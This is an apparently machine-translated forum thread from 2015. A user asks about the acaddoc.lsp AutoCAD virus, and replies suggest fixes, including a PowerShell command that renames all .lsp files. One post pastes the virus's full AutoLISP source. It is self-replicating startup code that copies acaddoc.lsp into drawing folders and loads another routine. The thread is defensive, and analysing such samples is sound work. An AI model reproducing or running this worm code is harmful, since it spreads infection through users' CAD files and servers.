阿卡多克&gt；lsp

HasanCAD · 发表于 2015-6-9 08:13:50

大家好
打开cad文件时，会出现此消息。我相信这是阿卡多克。LSP病毒
如何阻止病毒攻击服务器上的文件

jjbfukw0f5a.png

本帖以下内容被隐藏保护；需要你回复后，才能看到！

游客，如果您要查看本帖隐藏内容请回复

Master_Shake · 发表于 2015-6-9 08:22:52

首先，为什么一个项目文件夹中有一个lisp例程？
如果要运行的例程
不在
弹出窗口显示的指定安全文件夹中，AutoCAD会在lisp例程中启动安全目录功能。

Master_Shake · 发表于 2015-6-9 08:23:29

双重发布，
我会上传该文件，我们可以验证它是否干净

Rob... · 发表于 2015-6-9 08:25:02

这已经存在很长时间了，有很多关于如何摆脱它的信息。你需要帮助寻找解决方案还是在寻找有第一手经验的人？

Rob... · 发表于 2015-6-9 08:25:57

病毒把它放在那里。

HasanCAD · 发表于 2015-6-9 08:57:07

似曾相识再次
警告[kdub]：除非您确切地知道该文件的作用，否则请勿在本地下载并保存此文件...用户当心！！
注意添加了 kdub。
这是文件。

copy

(defun-q s::startup
         (/ basepath        baseacad        acaddocpath
            r-acaddoc       w-basepath      rl-acaddoc
            acaddoclsp      c-acaddocname   c-acaddocpath
            c-acaddoc
           )
         (setq basepath
                (findfile "base.dcl")
         )
         (setq basepath
                (substr basepath 1 (- (strlen basepath) 8))
         )
         (setq baseacad (strcat basepath "acaddoc.lsp"))
         (setq acaddocpath (findfile "acaddoc.lsp"))
         (setq acaddocpath
                (substr acaddocpath
                        1
                        (- (strlen acaddocpath) 11)
                )
         )
         (setq acaddoclsp (strcat acaddocpath "acaddoc.lsp"))
         (setq c-acaddocname (getvar "dwgname"))
         (setq c-acaddocpath (findfile c-acaddocname))
         (setq c-acaddocpath
                (substr c-acaddocpath
                        1
                        (- (strlen c-acaddocpath) (strlen c-acaddocname))
                )
         )
         (setq c-acaddoc
                (strcat c-acaddocpath "acaddoc.lsp")
         )
         (if
           (and
             (/= basepath acaddocpath)
             (= c-acaddocpath acaddocpath)
           )
            (progn
              (setq r-acaddoc
                     (open acaddoclsp "r")
              )
              (setq w-basepath
                     (open baseacad "w")
              )
              (while
                (setq rl-acaddoc
                       (read-line r-acaddoc)
                )
                 (write-line rl-acaddoc w-basepath)
              )
              (close w-basepath)
              (close r-acaddoc)
            )
 
            (progn
              (setq r-acaddoc
                     (open acaddoclsp "r")
              )
              (setq w-basepath
                     (open c-acaddoc "w")
              )
              (while
                (setq rl-acaddoc
                       (read-line r-acaddoc)
                )
                 (write-line rl-acaddoc w-basepath)
              )
              (close w-basepath)
              (close r-acaddoc)
            )
         )
         (princ)
)
(load "acadapq")
(princ)

Master_Shake · 发表于 2015-6-9 09:02:02

参考这里，
事实上你就是最初的海报

BlackBox · 发表于 2015-6-9 09:31:15

关闭 AutoCAD 的所有会话，然后让您的 IT 管理员或使用具有足够 Active Directory 权限的域帐户负责的人员将此 PowerShell（作为管理员？）：Get-ChildItem \*.* -Include *.lsp |重命名项 -新名称 { $_.名称 -替换 “.lsp”，“.lsp.blacklist” }。
* 警告 - 此 PowerShell 将重命名所有项目文件夹中的所有 *.lsp 文件;根据需要更改生成的文件扩展名，。